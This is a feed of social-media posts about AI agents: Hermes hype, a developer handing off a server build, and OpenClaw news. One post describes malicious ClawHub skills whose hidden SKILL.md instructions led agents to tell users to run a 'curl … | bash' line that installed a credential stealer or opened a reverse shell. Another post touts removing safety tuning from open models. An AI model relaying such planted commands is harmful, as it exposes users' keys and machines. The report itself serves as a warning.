do you understand what this means for agents? i've been locked in on Hermes for a few days now... and it's the best agent i've ever touched, not even close >it uses DSPy to rewrite its own skills and prompts based on failures >it plays Pokemon Red autonomously from your terminal >it rewrites its own code to get better over time >it can now uncensor any open-weight model in one command >it does everything OpenClaw does and 100x more plus you can use your ChatGPT Pro subscription (basically unlimited usage) BUILD MORE

A Claude Code engineer just shared one of the most valuable articles I've ever read on AI agents. Anthropic rebuilt their tool system 3 times because their models outgrew it. The takeaway: design for how the models see, not how you see. Most won't read this. Act accordingly.

It is hard to communicate how much programming has changed due to AI in the last 2 months: not gradually and over time in the "progress as usual" way, but specifically this last December. There are a number of asterisks but imo coding agents basically didn’t work before December and basically work since - the models have significantly higher quality, long-term coherence and tenacity and they can power through large and long tasks, well past enough that it is extremely disruptive to the default programming workflow. Just to give an example, over the weekend I was building a local video analysis dashboard for the cameras of my home so I wrote: “Here is the local IP and username/password of my DGX Spark. Log in, set up ssh keys, set up vLLM, download and bench Qwen3-VL, set up a server endpoint to inference videos, a basic web ui dashboard, test everything, set it up with systemd, record memory notes for yourself and write up a markdown report for me”. The agent went off for ~30 minutes, ran into multiple issues, researched solutions online, resolved them one by one, wrote the code, tested it, debugged it, set up the services, and came back with the report and it was just done. I didn’t touch anything. All of this could easily have been a weekend project just 3 months ago but today it’s something you kick off and forget about for 30 minutes. As a result, programming is becoming unrecognizable. You’re not typing computer code into an editor like the way things were since computers were invented, that era is over. You're spinning up AI agents, giving them tasks *in English* and managing and reviewing their work in parallel. The biggest prize is in figuring out how you can keep ascending the layers of abstraction to set up long-running orchestrator Claws with all of the right tools, memory and instructions that productively manage multiple parallel Code instances for you. The leverage achievable via top tier "agentic engineering" feels very high right now. It’s not perfect, it needs high-level direction, judgement, taste, oversight, iteration and hints and ideas. It works a lot better in some scenarios than others (e.g. especially for tasks that are well-specified and where you can verify/test functionality). The key is to build intuition to decompose the task just right to hand off the parts that work and help out around the edges. But imo, this is nowhere near "business as usual" time in software.

the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life

Feel free to do this on Venice.ai It's private, because nothing is stored/saved. Table stakes in the crypto world... needed to exist in AI so we built it. Freedom is impossible without privacy.

Unstructured intelligence = chaos Most agent frameworks ship without a nervous system: deadlocks, context loss, vacuum hallucinations. We built Common Ground to fix this, agents coordinate on a shared protocol.

Peter Steinberger is joining OpenAI to drive the next generation of personal agents. He is a genius with a lot of amazing ideas about the future of very smart agents interacting with each other to do very useful things for people. We expect this will quickly become core to our product offerings. OpenClaw will live in a foundation as an open source project that OpenAI will continue to support. The future is going to be extremely multi-agent and it's important to us to support open source as part of that.

1) what?

Our llms.txt is live. Point Claude Code or Codex at it and they can build AI tools for you out of the box.